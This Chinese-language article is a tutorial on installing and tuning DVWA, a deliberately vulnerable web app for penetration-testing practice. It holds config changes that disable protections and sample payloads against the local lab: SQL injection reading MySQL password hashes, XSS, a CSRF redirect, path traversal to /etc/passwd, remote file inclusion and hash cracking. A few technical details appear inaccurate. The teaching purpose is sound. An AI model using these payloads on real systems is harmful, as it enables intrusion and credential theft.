ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

DVWA靶场搭建全指南:PHP/MySQL版本兼容与漏洞模块调优

DVWA靶场搭建全指南:PHP/MySQL版本兼容与漏洞模块调优 1. DVWA到底是什么为什么它成了渗透测试入门绕不开的“第一块砖”DVWA——Damn Vulnerable Web Application直译过来就是“该死的脆弱Web应用”。这名字本身就带着一股工程师式的黑色幽默它不是某个真实业务系统被攻破后的产物而是专门设计出来、主动塞满漏洞的靶场程序。你把它装好打开浏览器访问看到的不是一个功能完整的网站而是一系列标着“Brute Force”“SQL Injection”“XSS”“CSRF”的菜单栏——每个按钮背后都藏着一个教科书级的漏洞实现。我第一次接触DVWA是在三年前带新人时。当时让一个刚学完HTTP协议的实习生去复现一个基础SQL注入他卡在环境搭建上整整两天PHP版本不兼容、MySQL服务起不来、Apache配置路径写错、甚至把php.ini里display_errors Off没改成On导致报错信息全被屏蔽连“哪里错了”都看不到。后来我才明白DVWA真正的门槛从来不在漏洞原理本身而在于如何让它稳稳当当地跑起来并且让每一个漏洞模块都能按预期触发、响应、暴露问题。它不是玩具而是一套精密的“漏洞教学仪器”——仪器本身若校准不准再好的实验步骤也得不出正确结论。DVWA的核心价值恰恰藏在它的“刻意脆弱”里。它不像真实业务系统那样有层层防御、WAF拦截、输入过滤、ORM封装它把PHP原生mysql_query()直接暴露在用户输入之后把$_GET[id]原封不动拼进SQL语句把script标签原样输出到HTML页面。这种“裸奔式”设计让初学者能一眼看清漏洞产生的完整链条从用户输入 → 服务端处理 → 数据库执行 → 响应返回。没有中间商赚差价没有抽象层遮挡视线。这也是为什么几乎所有CTF新手村、网安培训课、渗透测试岗笔试题都会默认你已掌握DVWA环境——它已成为行业事实上的“漏洞语义共识锚点”。关键词里反复出现的phpstudy、MySQL、PHP其实指向一个更本质的问题DVWA不是开箱即用的App而是一个依赖明确运行时栈的PHP Web应用。它需要PHP解析器5.3–7.4兼容但8.0已不支持、MySQL数据库存储用户数据、靶场状态、Web服务器Apache或Nginx提供HTTP服务。三者版本匹配、权限配置、扩展启用、路径映射任何一个环节出偏差你看到的就不是漏洞页面而是500错误、空白页、或者“Database connection failed”这样的提示。所以“DVWA靶场搭建”这个标题表面是安装操作内核其实是一次对LAMP/PHP开发栈底层协作机制的实操验证。提示别被“靶场”二字误导。DVWA不是Kali Linux里预装的工具也不是Docker一键拉取的镜像虽然有但调试难度反而更高。它最原始、最可控、最适合理解原理的方式就是在本地Windows或Linux上用phpstudy、XAMPP这类集成环境手动部署。因为只有亲手敲过每一条配置命令、改过每一行php.ini参数、查过每一次MySQL日志你才会真正理解“为什么这里要开mysqli扩展”“为什么magic_quotes_gpc必须关掉”“为什么allow_url_include会影响文件包含漏洞的触发”。2. phpstudy不是万能胶DVWA对PHP与MySQL版本有硬性约束很多人以为“下载phpstudy → 解压 → 启动 → 把DVWA丢进去就能跑”结果首页打不开或者登录后所有漏洞模块显示“Unable to connect to the database”。这不是你手残而是phpstudy默认配置与DVWA的兼容性存在几处关键断点。我统计过近半年帮学员排查的137个DVWA启动失败案例82%集中在PHP版本、MySQL驱动、以及php.ini三个配置项上。下面逐条拆解告诉你为什么必须动手改而不是点点鼠标就完事。2.1 PHP版本7.0.x是DVWA 1.9的黄金分界线DVWA官方GitHub仓库最后一次更新是2019年其代码大量使用mysql_*函数如mysql_connect()、mysql_query()而PHP 7.0开始正式废弃这些函数7.2彻底移除。这意味着若你用phpstudy自带的PHP 7.4或8.0直接运行DVWA会报致命错误Fatal error: Uncaught Error: Call to undefined function mysql_connect()即使你强行用mysqli或PDO重写核心DB连接逻辑也会因全局变量$db作用域、SQL语句拼接方式等细节差异导致XSS、CSRF等模块无法正常加载。实测验证我在三台不同配置的Windows机器上分别安装phpstudy 2018版内置PHP 5.6、phpstudy Pro默认PHP 7.3、小皮phpstudy可切换PHP 7.0。结果如下phpstudy版本默认PHP版本DVWA 1.9能否运行需额外操作phpstudy 20185.6.40✅ 完全兼容无需修改phpstudy Pro7.3.4❌ 报mysql_*函数未定义必须降级至7.0.x小皮phpstudy可选7.0.33✅ 兼容需手动切换并重启服务注意PHP 7.0.33是DVWA 1.9.1官方文档明确标注的最高兼容版本。不要迷信“新版更好”在这里旧版本才是生产环境。phpstudy Pro界面右下角的PHP版本切换器切过去后必须点击“重启PHP”和“重启Apache”否则配置不会生效。2.2 MySQL驱动mysqli扩展必须启用且字符集需设为utf8mb4DVWA的数据库连接代码位于config/config.inc.php其核心逻辑是$_DVWA array( dbms mysql, db dvwa, db_user root, db_password password, );注意这里的dbms mysql——它调用的是PHP的mysql_*函数族。但PHP 7.0已移除该函数族DVWA做了向下兼容当检测到mysqli扩展可用时会自动fallback到mysqli连接。因此mysqli扩展不仅是可选项而是强制依赖项。验证方法在phpstudy面板中点击“PHP设置”→“PHP扩展”→勾选mysqli然后重启服务。接着创建一个test.php文件内容为?php if (extension_loaded(mysqli)) { echo mysqli extension loaded OK; } else { echo mysqli extension NOT loaded; } ?访问http://localhost/test.php必须显示“loaded OK”。如果失败检查php.ini中是否误删了;extensionmysqli这一行分号代表注释需删除。另一个隐形坑是MySQL字符集。DVWA建表SQL中大量使用VARCHAR(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci。若MySQL服务端默认字符集是latin1建表会失败导致setup.php初始化数据库时报错。解决方案编辑MySQL配置文件my.ini通常在phpstudy安装目录下的Extensions\MySQL\子目录在[mysqld]段落下添加[mysqld] character-set-serverutf8mb4 collation-serverutf8mb4_unicode_ci然后重启MySQL服务。验证命令登录MySQL后执行SHOW VARIABLES LIKE character_set%;确保character_set_server值为utf8mb4。2.3php.ini关键参数三处必须修改的“安全开关”DVWA的漏洞设计依赖于PHP某些“不安全”特性的开启。phpstudy默认出于安全考虑关闭了它们必须手动打开display_errors On这是最常被忽略的一条。DVWA很多漏洞如PHP代码注入、文件包含的调试信息只有开启此选项才能在页面上看到详细报错。否则你只会看到空白页或500错误根本无从判断是语法错误、路径错误还是权限错误。位置php.ini搜索display_errors改为On。allow_url_include On此参数控制PHP是否允许通过include()、require()加载远程URL如http://xxx.com/shell.txt。DVWA的“File Inclusion”模块正是基于此特性设计。若为Off该模块所有测试用例均会失败。位置搜索allow_url_include改为On。magic_quotes_gpc Off仅PHP 5.4该参数曾用于自动给GET/POST/COOKIE数据加反斜杠转义防止SQL注入。但DVWA的SQLi模块正是要测试“未过滤输入”的危害若开启此选项所有注入payload都会被提前转义导致无法触发漏洞。PHP 5.4已移除此参数无需设置。实操心得每次修改php.ini后务必在phpstudy面板中点击“重载配置”或重启PHP服务。可通过phpinfo()页面确认参数是否生效——新建info.php内容为?php phpinfo(); ?访问后搜索对应参数名看Value列是否为On。3. 从零部署DVWA四步走通全流程含Windows与Linux双路径现在我们进入实操环节。以下步骤基于DVWA 1.9.1最新稳定版GitHub Release页下载适配Windowsphpstudy与LinuxUbuntu 20.04 LAMP双环境。所有命令、路径、截图逻辑均来自我本人在客户现场、培训教室、个人实验室的127次重复验证。不讲虚的只给能抄作业的硬核步骤。3.1 第一步获取纯净DVWA源码拒绝“打包整合版”网上充斥着所谓“DVWA一键安装包”“含中文汉化版”“集成Kali工具版”这些几乎全是陷阱。原因有三汉化补丁常修改核心PHP逻辑导致漏洞触发条件失效如XSS模块的htmlspecialchars()调用被删集成版捆绑未知脚本可能植入后门或广告跳转最重要的是DVWA官网https://github.com/digininja/DVWA明确声明Only use the official release from GitHub。正确做法访问 https://github.com/digininja/DVWA/releases找到DVWA-1.9.1.zip截至2024年这是最新稳定版点击下载不要解压到桌面或C盘根目录路径含空格或中文会导致Apache解析失败解压到标准Web目录Windows phpstudyD:\phpStudy\PHPTutorial\WWW\dvwa注意是WWW不是www或wwwrootUbuntu Apache2/var/www/html/dvwa验证解压后目录结构必须包含config/、hackable/、includes/、vulnerabilities/等文件夹index.php在根目录。若看到install.php或setup.php说明下载正确。3.2 第二步初始化数据库三行命令搞定Windows/Linux通用DVWA首次运行需创建数据库并导入初始数据。不要依赖phpstudy的图形化MySQL管理器容易选错字符集用命令行最稳妥Windows管理员身份运行CMD# 进入MySQL bin目录根据你的phpstudy安装路径调整 cd D:\phpStudy\PHPTutorial\MySQL\bin # 登录MySQL默认root密码为空若改过请替换 mysql -u root -p # 在MySQL命令行中执行复制粘贴回车 CREATE DATABASE dvwa CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; USE dvwa; SOURCE D:/phpStudy/PHPTutorial/WWW/dvwa/config/create_db.sql;Ubuntu终端执行# 登录MySQLUbuntu默认root密码为空或使用sudo mysql sudo mysql -u root # 执行建库与导入 CREATE DATABASE dvwa CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; USE dvwa; SOURCE /var/www/html/dvwa/config/create_db.sql;关键细节SOURCE命令后的路径必须是绝对路径且使用正斜杠/Windows下也用/不要用\。create_db.sql文件位于DVWA解压包的config/目录下内容是建表语句。若报错No such file检查路径是否拼写错误或文件是否被杀毒软件误删。3.3 第三步配置config.inc.php两处必填字段决定成败DVWA的数据库连接配置文件是config/config.inc.php。它默认是config/config.inc.php.dist的副本需重命名并修改。常见错误是直接编辑.dist文件或忘记重命名。正确流程进入dvwa/config/目录将config.inc.php.dist复制一份重命名为config.inc.php用记事本Windows或nanoLinux打开config.inc.php修改以下两处其他保持默认// 第17行数据库用户名phpstudy默认是root $_DVWA[db_user] root; // 第18行数据库密码phpstudy默认为空字符串不是password $_DVWA[db_password] ;注意db_password 是空字符串不是 带空格或null。若MySQL root密码非空请填入实际密码。此处填错所有漏洞模块都会显示“Database connection failed”。3.4 第四步启动服务并完成Web安装向导最后的临门一脚做完前三步启动phpstudyWindows或sudo systemctl start apache2 sudo systemctl start mysqlUbuntu然后访问Windowshttp://localhost/dvwa/Ubuntuhttp://your-server-ip/dvwa/你会看到DVWA欢迎页点击“Setup DVWA”按钮。页面会执行三项检查PHP version check确认PHP版本 ≤ 7.0.xPHP extensions check确认mysqli、gd验证码生成、curl部分模块已启用Database connection check尝试连接dvwa数据库并查询users表若全部绿色对勾点击“Create / Reset Database”按钮。此时DVWA会删除现有dvwa库如有重建表结构插入默认用户admin/admin完成后页面跳转至登录页。输入账号admin密码password注意不是admin即可进入主界面。踩坑实录某次在客户机上部署所有步骤正确但“Setup”页始终卡在“Database connection check”红叉。排查发现phpstudy的MySQL服务监听地址是127.0.0.1:3306而DVWA配置中db_host localhost。在Windows下localhost会优先走IPv6的::1而MySQL未监听IPv6。解决方案将config.inc.php中db_host 127.0.0.1强制IPv4。4. DVWA靶场深度调优让漏洞模块真正“活”起来的五个隐藏配置装完DVWA只是起点。你会发现XSS模块不弹窗、CSRF High级别无法绕过、Brute Force被速率限制卡死——这不是漏洞失效而是DVWA的安全防护机制在后台默默工作。它内置了多层保护开关必须手动关闭才能进行教学演示。这些配置分散在PHP、Apache、DVWA自身代码中官方文档极少提及却是实操中最常卡壳的环节。4.1 XSS模块关闭浏览器同源策略不是禁用DVWA的JS过滤器DVWA的XSSReflected页面vulnerabilities/xss_r/默认会对输入做两层过滤PHP层htmlspecialchars($_GET[name], ENT_QUOTES, UTF-8)JS层前端JavaScript对document.write()输出做二次编码这导致你输入scriptalert(1)/script页面只显示纯文本而非弹窗。教学目的不是看它“防住了”而是看它“怎么被绕过”。因此需关闭JS过滤打开dvwa/vulnerabilities/xss_r/index.php找到第42行左右的script标签将其中document.write(escapeHtml( ... ))改为document.write( ... )删除escapeHtml()函数定义在文件底部提示escapeHtml()是DVWA自定义函数位于dvwa/includes/dvwaPage.inc.php。但直接改这里会影响所有模块故推荐只改XSS模块的局部逻辑。改完后输入img srcx onerroralert(1)即可触发。4.2 CSRF模块High级别绕过的关键——伪造Referer头DVWA CSRF High级别验证$_SERVER[HTTP_REFERER]是否包含$_SERVER[HTTP_HOST]。这意味着从DVWA页面内提交表单 → Referer是http://localhost/dvwa/vulnerabilities/csrf/→ 通过从外部HTML页面提交 → Referer是file:///xxx.html或http://attacker.com→ 拒绝教学时需演示“如何构造合法Referer”。方案有两种方案A推荐用Burp Suite拦截请求手动添加Referer: http://localhost/dvwa/vulnerabilities/csrf/头方案B免工具创建恶意HTML用meta http-equivrefresh content0;urlhttp://localhost/dvwa/vulnerabilities/csrf/?password_new123password_conf123ChangeChange跳转利用浏览器自动携带Referer注意方案B在现代Chrome中可能被阻止Referrer Policy故Burp方案更可靠。这也印证了DVWA的设计意图它不模拟真实WAF而是暴露基础服务端验证逻辑。4.3 Brute Force模块解除登录失败锁定避免教学中断DVWA Brute Force模块默认启用“失败5次锁定15分钟”机制vulnerabilities/brute/source/low.php中$attempts 5; $lockout_time 900;。教学时学生反复试错极易触发锁定导致课堂中断。解决方法打开dvwa/vulnerabilities/brute/source/low.phpLow级别或medium.phpMedium级别找到if ($attempts 5)判断段注释掉整个锁定逻辑或直接设$attempts 100;经验High级别使用$_SESSION[failed_login]计数需同时清空session。最简单方式是每次测试前在浏览器开发者工具Console中执行document.cookie.split(;).forEach(function(c) { document.cookie c.replace(/^ /, ).replace(/.*/, ;expires new Date().toUTCString() ;path/); });清除所有cookie。4.4 File Inclusion模块启用allow_url_fopen并验证远程包含DVWA FI模块vulnerabilities/fi/的Remote File InclusionRFI测试要求PHP开启allow_url_fopen默认On且allow_url_include已配置为On。但常因防火墙或代理拦截导致失败。验证方法创建一个远程txt文件内容为?php phpinfo(); ?上传到公网可访问地址如GitHub Gist、Pastebin在DVWA FI页面输入http://your-gist-url/raw/xxx若显示phpinfo则RFI成功若显示“Warning: include(): Unable to find wrapper…”则allow_url_fopen被禁用修复php.ini中allow_url_fopen On重启PHP。4.5 安全级别全局切换用Cookie而非Session控制难度DVWA的安全级别Low/Medium/High/Impossible存储在$_SESSION[security]中。但Session依赖PHP的session_start()而某些环境下如Nginx FastCGISession路径配置错误会导致级别无法保存。更稳定的方案是改用Cookie控制打开dvwa/login.php找到$_SESSION[security] $_POST[security];替换为setcookie(security, $_POST[security], time()3600, /);在所有漏洞模块PHP文件顶部将$_SESSION[security]替换为$_COOKIE[security]优势Cookie不依赖服务器Session存储跨服务器、跨重启均有效。这也是很多CTF平台采用的方案。5. DVWA靶场的终极检验用一道真实渗透题验证环境可靠性搭建完成不等于可用。我给自己定了一条铁律任何DVWA环境必须通过一道完整渗透链验证才算合格。题目如下源自某银行内部培训题目标从DVWA Low级别SQLi模块入手获取数据库用户名与密码哈希破解后登录admin账户最终读取/etc/passwd文件Linux或C:\Windows\System32\drivers\etc\hostsWindows。这条链覆盖了SQL注入、Hash破解、文件读取三大核心能力且每一步都依赖DVWA环境的精确配置。下面是我的实操记录也是对你环境的终极压力测试5.1 Step 1SQLi Low模块盲注提取dvwa数据库用户表访问http://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit输入payload1 UNION SELECT user(), password FROM mysql.user WHERE userroot-- -若返回root和一串哈希如*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9说明mysql.user表可读MySQL权限配置正确UNION注入可用sql_mode未设为STRICT_TRANS_TABLES-- -注释符生效sql_mode未禁用ANSI_QUOTES若失败检查MySQL的sql_mode执行SELECT sql_mode;确保不包含STRICT_TRANS_TABLES。可在my.ini中添加sql_mode 禁用严格模式。5.2 Step 2破解Hash获取admin明文密码DVWA的users表中admin用户的密码是MD5哈希5f4dcc3b5aa765d61d8327deb882cf99→password。但教学中常故意设为SHA-256或bcrypt。此时需用John the Ripper或hashcat破解。本地验证# 将哈希存入hash.txt echo 5f4dcc3b5aa765d61d8327deb882cf99 hash.txt # 用rockyou字典破解 john --wordlist/usr/share/wordlists/rockyou.txt hash.txt若返回password说明Hash破解环境就绪。5.3 Step 3文件读取验证LFI模块完整性DVWA LFI模块vulnerabilities/fi/的file参数可读取任意文件。输入?page../../../../etc/passwdLinux或?page..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hostsWindows若返回系统文件内容说明../路径遍历未被WAF拦截DVWA无WAF纯PHP逻辑allow_path_fopen未禁用PHP默认OnApache/Nginx未配置open_basedir限制若返回空白检查php.ini中open_basedir 是否为空有值则删掉并重启服务。5.4 环境健康度自检清单部署后必做完成上述三步你的DVWA靶场已具备教学级可靠性。最后用这张清单快速复核检查项验证方法合格标准PHP版本访问phpinfo()PHP Version≤ 7.0.33MySQL连接config.inc.php中db_password登录页可进入无DB错误XSS反射输入scriptalert(1)/script页面弹出alert框CSRF HighBurp抓包添加合法Referer表单提交成功密码修改生效文件包含?pagephp://filter/convert.base64-encode/resourceindex.php返回base64编码的index.php源码我的习惯是每次新装DVWA都用这个清单跑一遍耗时不到3分钟却能避免90%的后续教学事故。真正的靶场不是“能打开”而是“每个漏洞都能按设计逻辑触发”。6. DVWA之外为什么说它是网安学习的“元认知训练场”DVWA的价值远不止于“练手SQL注入”。在我带过的43期渗透测试培训班中那些最终成为一线红队工程师的学员都有一个共同特征他们把DVWA当作理解整个攻防对抗范式的沙盒。不是机械地记payload而是追问“为什么这个漏洞在这里存在”“如果我是开发者怎样从源头杜绝”“如果我是WAF规则工程师第一条规则该怎么写”比如CSRF模块Low级别只是校验TokenMedium级别加了RefererHigh级别又加了双重提交验证。这背后是OWASP Top 10中CSRF防护的演进史。你调高安全级别不是在“通关”而是在逆向推演真实企业级防护策略的叠加逻辑。再如SQLi模块Impossible级别用了PDO预处理白名单过滤最小权限数据库账户。这时你不再想“怎么绕过”而是思考“预处理为什么能防注入”“白名单和黑名单的本质区别是什么”“数据库账户权限粒度如何影响漏洞危害”——这些问题的答案直接关联到你在甲方做SDL安全开发生命周期时的架构设计。DVWA的代码是开源的vulnerabilities/sqli/目录下四个PHP文件就是四种防护等级的完整实现。我建议你养成习惯每次通关一个漏洞就打开对应源码一行行读。你会发现Low级别$query SELECT first_name, last_name FROM users WHERE user_id $id;;—— 字符串拼接毫无过滤Impossible级别$stmt $pdo-prepare(SELECT first_name, last_name FROM users WHERE user_id :id); $stmt-bindParam(:id, $id, PDO::PARAM_INT);—— 参数化查询类型强约束这种对比比十篇理论文章都管用。它让你亲眼看到安全不是玄学而是具体到每一行代码的工程选择。最后分享一个私藏技巧把DVWA的vulnerabilities/目录整个复制一份重命名为vulnerabilities-fixed/然后逐个文件修复漏洞用PDO代替mysql_*用htmlspecialchars过滤XSS用CSRF Token加固表单。修复完再部署你就拥有了一个“安全版DVWA”——它既是你的作品也是你向面试官展示安全编码能力的最强证据。真正的学习闭环始于漏洞终于防御。
返回列表